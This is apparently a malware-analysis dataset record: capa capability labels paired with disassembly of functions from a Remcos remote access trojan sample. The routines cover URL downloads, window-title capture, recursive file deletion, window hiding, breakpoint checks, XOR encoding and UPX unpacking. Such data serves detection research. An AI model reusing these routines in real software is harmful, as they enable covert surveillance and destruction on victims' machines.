joyce8/EMBER2024-capa huggingface dataset:
Function at 0x413fd2
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push ebx
push esi
push edi
xor edi, edi
mov ebx, edx
test ecx, ecx
je 0x414054
push edi
push edi
lea eax, [ebp - 8]
push eax
push ecx
push edi
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamW]
test eax, eax
js 0x414054
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x54]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x30]
test eax, eax
js 0x41404b
mov esi, dword [ebp - 0x4c]
inc esi
push esi
mov dword [ebp - 0x4c], esi
call fcn.00432316
mov dword [ebx], eax
pop ecx
test eax, eax
je 0x41404b
push esi
push edi
push eax
call fcn.0042ec70
add esp, 0xc
lea eax, [esi - 1]
mov esi, dword [ebp + 8]
push edi
mov dword [esi], eax
mov eax, dword [ebp - 8]
push edi
push edi
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 8]
push edi
push dword [esi]
push dword [ebx]
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
inc edi
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41405d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
lea eax, [ebp - 0x200]
push esi
push 0x200
push 0
push eax
mov esi, ecx
call fcn.0042ec70
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x100
lea ecx, [ebp - 0x200]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x200]
mov ecx, esi
push eax
call fcn.00403509
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x414128
Capabilities:
Terminate process

Disassembly:
push ebx
push esi
push ecx
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x414150
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret
Function at 0x4144b6
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], 0x105
xor esi, esi
push edi
mov dword [ebp - 4], esi
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x5c
pop edx
test eax, eax
jle 0x414510
mov ecx, edi
cmp word [ecx], dx
jne 0x4144f3
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp eax, 3
je 0x414510
add ecx, 2
inc ebx
push edi
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp ebx, eax
jge 0x41450d
mov ecx, dword [ebp - 8]
push 0x5c
pop edx
jmp 0x4144e2
mov ebx, dword [ebp - 4]
xor eax, eax
mov word [edi + ebx*2], ax
lea eax, [ebp - 0x214]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
jne 0x41453d
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x414625
lea ecx, [ebp - 0x214]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x414546
jmp 0x4145f6
cmp word [ebp - 0x212], cx
jne 0x414610
cmp word [ebp - 0x210], 0x3f
jne 0x414610
cmp word [ebp - 0x20e], cx
jne 0x414610
cmp word [ebp + eax*2 - 0x214], cx
jne 0x414610
xor ecx, ecx
mov word [ebp + eax*2 - 0x214], cx
lea eax, [ebp - 0x624]
push 0x64
push eax
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x41468c
push edi
lea eax, [ebp - 0x624]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x41463b
push 0x104
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
je 0x41462c
lea ecx, [ebp - 0x214]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x4145eb
sub ecx, edx
sar ecx, 1
push 0x5c
lea eax, [ecx - 1]
pop ecx
mov dword [ebp - 4], eax
cmp word [ebp - 0x214], cx
je 0x414556
mov esi, 0xa1
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
xor eax, eax
test esi, esi
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0x12
jne 0x414615
jmp 0x414610
mov eax, dword [ebp - 4]
push 0x5c
pop ecx
mov word [ebp + eax*2 - 0x214], cx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 0x41c]
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x41468c
lea eax, [edi + 2]
lea eax, [eax + ebx*2]
push eax
lea eax, [ebp - 0x41c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x41c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x414615
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x414615
Function at 0x414795
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x66c
push ebx
push esi
mov ebx, ecx
lea esi, [ebp - 0x418]
push edi
mov dword [ebp - 8], ebx
mov edx, ebx
sub esi, ebx
movzx eax, word [edx]
mov word [esi + edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x4147b0
lea ecx, [ebp - 0x418]
sub ecx, 2
xor edx, edx
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
cmp ax, dx
jne 0x4147ca
mov eax, dword [0x45f2f8]
lea edx, [ebp - 0x210]
mov dword [ecx], eax
sub edx, ebx
mov ax, word [0x45f2fc]
mov word [ecx + 4], ax
mov ecx, ebx
movzx eax, word [ecx]
mov word [edx + ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4147f1
lea edi, [ebp - 0x210]
sub edi, 2
xor esi, esi
mov ax, word [edi + 2]
lea edi, [edi + 2]
cmp ax, si
jne 0x41480b
mov eax, dword [0x4596b8]
mov dword [edi], eax
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x41497f
mov ecx, esi
movzx eax, word [ebp + ecx - 0x210]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x41a], ax
test ax, ax
jne 0x41483f
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x414966
lea ecx, [ebp - 0x63c]
call fcn.0041471f
test eax, eax
jne 0x4148ff
lea edx, [ebp - 0x63c]
xor ecx, ecx
mov esi, edx
mov ax, word [edx]
add edx, 2
cmp ax, cx
jne 0x41488a
lea edi, [ebp - 0x210]
sub edx, esi
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, cx
jne 0x4148a0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
test byte [ebp - 0x668], 0x10
rep movsb byte es:[edi], byte [esi]
je 0x41491c
lea ecx, [ebp - 0x210]
call fcn.00414795
test eax, eax
je 0x414978
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x4148e7
mov al, byte [ebp - 1]
test al, al
jne 0x41485b
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x414981
test byte [ebp - 0x668], 1
je 0x414937
push 0x80
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x414978
xor esi, esi
mov ecx, esi
movzx eax, word [ebp + ecx - 0x418]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x41494c
jmp 0x4148ff
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x414978
xor eax, eax
mov byte [ebp - 1], al
jmp 0x414902
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414988
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp + 8]
mov edi, edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4149ba
xor al, al
jmp 0x4149d9
push ebx
lea eax, [ebp - 8]
push eax
push edi
push dword [ebp - 4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4149d0
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4149e0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor ebx, ebx
mov dword [ebp - 4], edx
push ebx
push 0x80
push 3
push ebx
push 3
push connect
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x414a0e
xor al, al
jmp 0x414a4c
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp - 4]
mov esi, eax
push ebx
push esi
call fcn.004068f2
mov ecx, dword [ebp - 4]
lea eax, [ebp - 8]
push ebx
push eax
push esi
mov dword [ebp - 8], ebx
call fcn.00402028
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
pop esi
test eax, eax
je 0x414a43
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414d7f
Capabilities:
Change the wallpaper

Disassembly:
push ebx
push esi
push edi
mov edi, edx
sub ecx, 0
je 0x414e2b
sub ecx, 1
je 0x414e1d
sub ecx, 1
je 0x414e0f
sub ecx, 1
je 0x414ddc
sub ecx, 1
jne 0x414e6d
push 1
sub esp, 0x18
mov ecx, esp
push 0x4595d0
call fcn.00402178
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040d202
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4595cc
jmp 0x414e59
push 1
sub esp, 0x18
mov ecx, esp
push 0x45ef10
call fcn.00402178
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040d202
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push 0x4595d0
jmp 0x414e59
push 1
sub esp, 0x18
mov ecx, esp
push 0x45f27c
jmp 0x414de8
push 1
sub esp, 0x18
mov ecx, esp
push 0x4595b8
jmp 0x414de8
push 1
sub esp, 0x18
mov ebx, 0x4595d0
mov ecx, esp
push ebx
call fcn.00402178
mov esi, str.Control_PanelDesktop
push str.WallpaperStyle
mov edx, esi
call fcn.0040d202
add esp, 0x20
push 1
sub esp, 0x18
mov ecx, esp
push ebx
call fcn.00402178
push str.TileWallpaper
mov edx, esi
call fcn.0040d202
add esp, 0x20
push 3
push edi
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
ret

Function at 0x415128
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov bl, cl
call dword [sym.imp.KERNEL32.dll_AllocConsole]
call dword [0x467a18]
test bl, bl
mov dword [0x467a34], eax
pop ebx
jne 0x415150
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push edi
push 1
call fcn.00433e83
push eax
push 0x45f640
push str.CONOUT_
call fcn.004377e9
add esp, 0x10
push 0x4e4
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.004150e5
push 0x64
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.0042ec70
lea edi, [ebp - 0x64]
add esp, 0xc
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x415190
mov esi, str._n_tRemcos_v
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4151a6
mov esi, str.5.1.3_Light
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x64]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4151ba
push 6
pop ecx
mov esi, 0x45f748
lea eax, [ebp - 0x64]
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
call fcn.00413981
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41a3df
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [ecx + 4]
xor eax, eax
xor edx, edx
movzx ecx, word [esi]
cmp ax, cx
jae 0x41a40a
movzx eax, dx
mov al, byte [eax + esi + 4]
cmp al, 0x13
je 0x41a40a
cmp al, 0xc0
je 0x41a40a
cmp al, 0xcc
je 0x41a40a
add edx, 2
cmp dx, cx
jb 0x41a3ef
pop esi
ret
Function at 0x41ce3f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, edx
mov edx, dword [ebp + 0xc]
lea esi, [edi + 4]
push esi
call fcn.0041cdd9
mov edx, dword [ebp + 8]
pop ecx
push 4
sub edx, edi
pop ecx
mov al, byte [edx + edi]
mov byte [edi], al
inc edi
sub ecx, 1
jne 0x41ce5b
push 8
pop ecx
mov al, byte [esi + edx]
xor byte [esi], al
inc esi
sub ecx, 1
jne 0x41ce69
pop edi
pop esi
pop ebp
ret

Function at 0x41ef46
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x41ef60
sub edx, ecx
mov eax, dword [edx + ecx]
xor dword [ecx], eax
lea ecx, [ecx + 4]
sub esi, 1
jne 0x41ef53
pop esi
pop ebp
ret

Function at 0x41ef63
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, ecx
or eax, edx
push esi
mov esi, dword [ebp + 8]
or eax, esi
test al, 3
jne 0x41ef80
shr esi, 2
push esi
call fcn.0041ef46
pop ecx
jmp 0x41ef91
test esi, esi
je 0x41ef91
sub edx, ecx
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub esi, 1
jne 0x41ef86
pop esi
pop ebp
ret

Function at 0x41ef94
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
xor eax, eax
mov esi, edx
mov ebx, ecx
test edi, edi
jle 0x41efba
sub ebx, esi
movzx edx, byte [ebx + esi]
movzx ecx, byte [esi]
xor edx, ecx
or eax, edx
inc esi
sub edi, 1
jne 0x41efa9
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x41efbf
Capabilities:
Encrypt data using aes

Disassembly:
xor eax, eax
mov ecx, 0x45b148
push 0x20
pop edx
and eax, dword [ecx]
add ecx, 0x20
sub edx, 1
jne 0x41efc9
cmp ecx, str.SHA256wECDSA
jl 0x41efc6
ret
Function at 0x426d4f
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
test edi, edi
je 0x426e48
cmp dword [ebp + 8], 0
mov esi, dword [ebp + 0xc]
jne 0x426d71
test esi, esi
jne 0x426e48
cmp edx, 3
je 0x426da7
cmp edx, 4
je 0x426da7
cmp edx, 5
je 0x426da7
cmp edx, 6
je 0x426da7
cmp edx, 7
je 0x426da7
cmp edx, 8
je 0x426da7
cmp edx, 0xa
je 0x426da7
cmp edx, 0xb
je 0x426da7
cmp edx, 0xc
je 0x426da7
cmp edx, 0xd
jne 0x426e48
xor ebx, ebx
mov byte [edi + 0x114], dl
push ecx
mov byte [edi + 0x115], bl
call fcn.00426d32
mov dword [ebp - 4], eax
pop ecx
test eax, eax
jne 0x426e4d
cmp byte [edi + 0x114], 6
lea ecx, [edi + 0x70]
jne 0x426e48
cmp esi, 0x40
ja 0x426dec
cmp dword [ebp + 8], ebx
je 0x426e13
push esi
push dword [ebp + 8]
push ecx
call fcn.0042f1e0
add esp, 0xc
jmp 0x426e10
mov edx, dword [ebp + 8]
mov ecx, edi
push esi
call fcn.0042b990
pop ecx
test eax, eax
jne 0x426e4d
lea edx, [edi + 0x70]
mov ecx, edi
call fcn.0042ba61
mov dword [ebp - 4], eax
test eax, eax
jne 0x426e4d
push 0x20
pop esi
lea ecx, [edi + 0x70]
cmp esi, 0x40
jae 0x426e2b
push 0x40
pop eax
sub eax, esi
push eax
lea eax, [ecx + esi]
push ebx
push eax
call fcn.0042ec70
add esp, 0xc
mov al, byte [ebx + edi + 0x70]
xor al, 0x5c
mov byte [edi + ebx + 0xb0], al
xor byte [ebx + edi + 0x70], 0x36
inc ebx
cmp ebx, 0x40
jb 0x426e2b
mov eax, dword [ebp - 4]
jmp 0x426e4d
mov eax, 0xffffff53
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42b2df
Capabilities:
Hash data using sha256

Disassembly:
mov edx, ecx
test edx, edx
jne 0x42b293
mov eax, 0xffffff53
ret
push edi
push 8
xor eax, eax
mov edi, edx
pop ecx
rep stosd dword es:[edi], eax
mov dword [edx], 0x6a09e667
mov dword [edx + 4], 0xbb67ae85
mov dword [edx + 8], 0x3c6ef372
mov dword [edx + 0xc], 0xa54ff53a
mov dword [edx + 0x10], 0x510e527f
mov dword [edx + 0x14], 0x9b05688c
mov dword [edx + 0x18], 0x1f83d9ab
mov dword [edx + 0x1c], 0x5be0cd19
mov dword [edx + 0x60], eax
mov dword [edx + 0x64], eax
mov dword [edx + 0x68], eax
pop edi
ret
test ecx, ecx
jne 0x42b2e9
mov eax, 0xffffff53
ret
mov dword [ecx + 0x6c], edx
jmp 0x42b287
Function at 0x42b9b4
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x42b9c2
mov eax, 0xffffff53
pop esi
ret
mov eax, dword [esi + 0x60]
push ebx
push edi
lea edi, [esi + 0x20]
mov byte [edi + eax], 0x80
inc dword [esi + 0x60]
mov ecx, dword [esi + 0x60]
push 0x38
pop ebx
cmp ecx, ebx
jbe 0x42ba0f
push 0x40
pop eax
sub eax, ecx
push eax
lea eax, [ecx + edi]
push 0
push eax
call fcn.0042ec70
push 0x40
pop eax
push eax
mov edx, edi
mov dword [esi + 0x60], eax
mov ecx, edi
call fcn.0042b25a
add esp, 0x10
mov edx, edi
mov ecx, esi
call fcn.0042b2f1
test eax, eax
jne 0x42ba5d
and dword [esi + 0x60], eax
mov eax, dword [esi + 0x60]
sub ebx, eax
push ebx
add eax, edi
push 0
push eax
call fcn.0042ec70
mov ecx, dword [esi + 0x64]
mov edx, edi
mov eax, dword [esi + 0x68]
shr ecx, 0x1d
push 0x40
lea eax, [ecx + eax*8]
mov ecx, edi
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x64]
shl eax, 3
mov dword [esi + 0x64], eax
call fcn.0042b25a
mov eax, dword [esi + 0x68]
add esp, 0x10
mov dword [edi + 0x38], eax
mov edx, edi
mov eax, dword [esi + 0x64]
mov ecx, esi
mov dword [edi + 0x3c], eax
pop edi
pop ebx
pop esi
jmp fcn.0042b2f1
pop edi
pop ebx
pop esi
ret

Function at 0x42ba61
Capabilities:
Hash data using sha256

Disassembly:
push ebx
mov ebx, ecx
push edi
mov edi, edx
test ebx, ebx
je 0x42ba96
test edi, edi
je 0x42ba96
call fcn.0042b9b4
test eax, eax
jne 0x42ba9b
push esi
push 0x20
mov edx, ebx
mov ecx, ebx
call fcn.0042b25a
pop ecx
push 8
pop ecx
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
pop esi
pop edi
mov ecx, ebx
pop ebx
jmp 0x42b287
mov eax, 0xffffff53
pop edi
pop ebx
ret

Function at 0x42bb50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov eax, edx
mov esi, ecx
neg eax
mov dword [ebp - 8], esi
mov dword [ebp - 4], eax
test esi, esi
je 0x42bbed
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x42bbed
mov edx, dword [esi]
mov ecx, ebx
inc edx
call fcn.0042749d
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x42bbf2
xor edx, edx
push edi
cmp dword [esi], edx
jle 0x42bbb2
mov edi, dword [ebx + 0xc]
mov ecx, esi
call fcn.0042bb3a
mov ecx, ebx
mov esi, eax
call fcn.0042bb3a
mov ecx, dword [ebp - 4]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
mov esi, dword [ebp - 8]
cmp edx, dword [esi]
jl 0x42bb8b
jmp 0x42bbd8
mov ecx, dword [ebp - 4]
jmp 0x42bbd8
mov edi, dword [ebx + 0xc]
mov ecx, esi
call fcn.0042bb3a
mov ecx, ebx
mov esi, eax
call fcn.0042bb3a
mov ecx, dword [ebp - 4]
xor esi, eax
and esi, ecx
xor dword [edi + edx*4], esi
inc edx
mov esi, dword [ebp - 8]
cmp edx, dword [ebx]
jl 0x42bbb7
mov eax, dword [ebp - 8]
pop edi
mov eax, dword [eax]
xor eax, dword [ebx]
and eax, ecx
xor dword [ebx], eax
mov eax, dword [ebp - 0xc]
jmp 0x42bbf2
mov eax, 0xffffff53
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43e9e8
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043e867

Function at 0x441c9f
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044160d
Function at 0x441caa
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00441848
Function at 0xd2c3e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5e9000]
push edi
jmp 0xd2c3fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xd2c401
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd2c3f0
mov eax, 1
add ebx, ebx
jne 0xd2c413
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xd2c424
jne 0xd2c443
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd2c443
dec eax
add ebx, ebx
jne 0xd2c430
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xd2c408
add ebx, ebx
jne 0xd2c43f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xd2c495
xor ecx, ecx
sub eax, 3
jb 0xd2c45b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xd2c4ca
sar eax, 1
mov ebp, eax
jmp 0xd2c466
add ebx, ebx
jne 0xd2c466
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd2c434
inc ecx
add ebx, ebx
jne 0xd2c474
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xd2c434
add ebx, ebx
jne 0xd2c481
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xd2c476
jne 0xd2c492
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xd2c476
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xd2c4b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xd2c4a6
jmp 0xd2c3f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xd2c4b4
add edi, ecx
jmp 0xd2c3f6
pop esi
mov edi, esi
mov ecx, 0x5bd363
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0xd2c4ef
cmp byte [edi], 0x4c
jne 0xd2c4d4
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0xd2c4d2
lea edi, [esi + 0x90e000]
mov eax, dword [edi]
or eax, eax
je 0xd2c540
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x938d20]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x938e9c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xd2c4f5
mov ecx, edi
jns 0xd2c524
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x938ea4]
or eax, eax
je 0xd2c53a
mov dword [ebx], eax
add ebx, 4
jmp 0xd2c512
call dword [esi + 0x938ea0]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0xd2c571
cmp al, 0xef
ja 0xd2c564
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0xd2c546
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0xd2c553
mov ebp, dword [esi + 0x938ea8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xd2c5a5
sub esp, 0xffffff80
jmp 0x9c183b
Function at 0x46a1ef
Capabilities:
Create directory
Delete directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x50000
call fcn.00431940
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x20004]
push eax
push 0x7fff
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x46a34c
push ebx
lea eax, [ebp - 0x20004]
push eax
lea eax, [ebp - 0x10004]
push 0x4b8be0
push eax
call fcn.00423698
lea eax, [ebp - 0x10004]
push eax
call fcn.00422bfc
mov ebx, eax
add esp, 0x10
cmp word [ebp + ebx*2 - 0x10006], 0x5c
jne 0x46a267
cmp word [ebp + ebx*2 - 0x10008], 0x3a
je 0x46a267
xor eax, eax
mov word [ebp + ebx*2 - 0x10006], ax
push edi
xor edi, edi
push edi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x46a281
cmp byte [ebp + 0x10], al
je 0x46a33d
push edi
push 0x2200000
push 3
push edi
push edi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x46a334
push 0x2fffa
lea eax, [ebp - 0x50000]
push 0
push eax
call fcn.00422de0
lea eax, [ebx + ebx]
mov dword [ebp - 0x50000], 0xa0000003
mov word [ebp - 0x4fff6], ax
mov eax, dword [ebp - 0x4fff6]
add eax, 2
mov word [ebp - 0x4fff4], ax
lea eax, [ebp - 0x10004]
push 0x7fff
push eax
lea eax, [ebp - 0x4fff0]
push eax
call fcn.004240bb
mov eax, dword [ebp - 0x4fff6]
lea ecx, [ebp + 8]
add esp, 0x18
xor edx, edx
add eax, 0xc
mov word [ebp - 0x4fffc], ax
movzx eax, ax
push edx
push ecx
push edx
push edx
add eax, 8
push eax
lea eax, [ebp - 0x50000]
push eax
push 0x900a4
push edi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push edi
test eax, eax
jne 0x46a341
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
xor eax, eax
jmp 0x46a34a
